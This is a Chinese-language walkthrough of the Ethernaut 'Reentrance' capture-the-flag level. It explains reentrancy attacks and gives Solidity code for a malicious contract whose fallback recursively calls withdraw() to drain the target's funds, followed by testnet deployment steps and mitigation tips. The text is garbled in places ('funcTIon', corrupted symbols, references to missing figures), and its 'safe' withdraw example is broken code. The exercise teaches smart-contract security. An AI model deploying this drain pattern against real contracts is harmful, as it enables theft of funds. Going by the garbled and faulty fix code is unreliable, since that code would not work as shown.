什么是重入攻擊?
重入攻擊發(fā)生在單線程計算環(huán)境中,當執(zhí)行堆棧跳轉(zhuǎn)或調(diào)用子例程時,在返回到原始執(zhí)行之前。
一方面,這種單線程執(zhí)行確保了智能合約的原子性,并消除了一些競爭條件。另一方面,合約容易受到執(zhí)行順序不佳的影響。
在上面的示例中,合同B是惡意合同,遞歸地調(diào)用A.withdraw()來耗盡合同A的資金。請注意,基金提取在合同A從其遞歸循環(huán)返回之前成功完成,甚至意識到B已經(jīng)提取出超過其自身余額的方式。
此Ethernaut級別利用此重入問題以及導(dǎo)致DAO黑客攻擊的以下其他因素:
· 任何人都可以調(diào)用Fallback函數(shù)并執(zhí)行惡意代碼
· 惡意外部合同可能會濫用提款權(quán)
1、創(chuàng)建一個名為Reenter.sol的惡意合同,該合同將首先捐贈給Reentrance.sol,然后遞歸地從中退出,直到Reentrance耗盡資金。
contract Reenter {
Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
uint public amount = 1 ether; //withdrawal amount each time
}
2、Reenter.sol和以太合約結(jié)構(gòu)相同
constructor() public payable {
}
3、創(chuàng)建公共函數(shù),以便reenter.sol可以向reentrance.sol捐款,并在其余額分類賬中注冊為捐贈者:
funcTIon donateToSelf() public {
original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
}
4、調(diào)用此函數(shù)將確保您的惡意合同至少可以調(diào)用withdraw()一次,即通過if(balances [msg.sender]》 = _amount)檢查。
上圖說明了Reenter.sol從Reentrance.sol中提取所有資金的遞歸循環(huán)。
讓我們在合同B中實現(xiàn)惡意回退功能,這樣當合同A執(zhí)行msg.sender.call.value(_amount)()退還合同B時,您的惡意合同會觸發(fā)更多的撤銷。
5、實現(xiàn)此惡意回退函數(shù):
funcTIon() public payable {
if (address(original).balance != 0 ) {
original.withdraw(amount);
}
}
最后,在Remix中:將您的合同部署到Ropsten,為其植入以太,捐贈給Reentrance,然后調(diào)用Fallback函數(shù),從Reentrance中耗盡所有資金。
關(guān)鍵要點:
· 執(zhí)行順序在Solidity中非常重要。如果你必須進行外部函數(shù)調(diào)用,那就做你做的最后一件事(在所有必要的檢查和余額之后):
funcTIon withdraw(uint _amount) public {
if(balances[msg.sender] 》= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.transfer(_amount)()) {
_amount;
}
}
}
// Or even better, invoke transfer in a separate funcTIon
· 包括一個互斥鎖以防止重入,例如 使用布爾鎖變量來指示執(zhí)行深度。
· 使用函數(shù)修飾符檢查不變量時要小心:修飾符在函數(shù)開頭執(zhí)行。 如果變量狀態(tài)將在整個函數(shù)期間發(fā)生變化,請考慮將修改器提取到放置在函數(shù)中正確行的檢查中。
· “使用轉(zhuǎn)移將資金從合同中轉(zhuǎn)出,因為它會拋出并限制gas轉(zhuǎn)發(fā)。 調(diào)用和發(fā)送等低級函數(shù)只返回false,但是當接收合同失敗時不會中斷執(zhí)行流程?!?/p>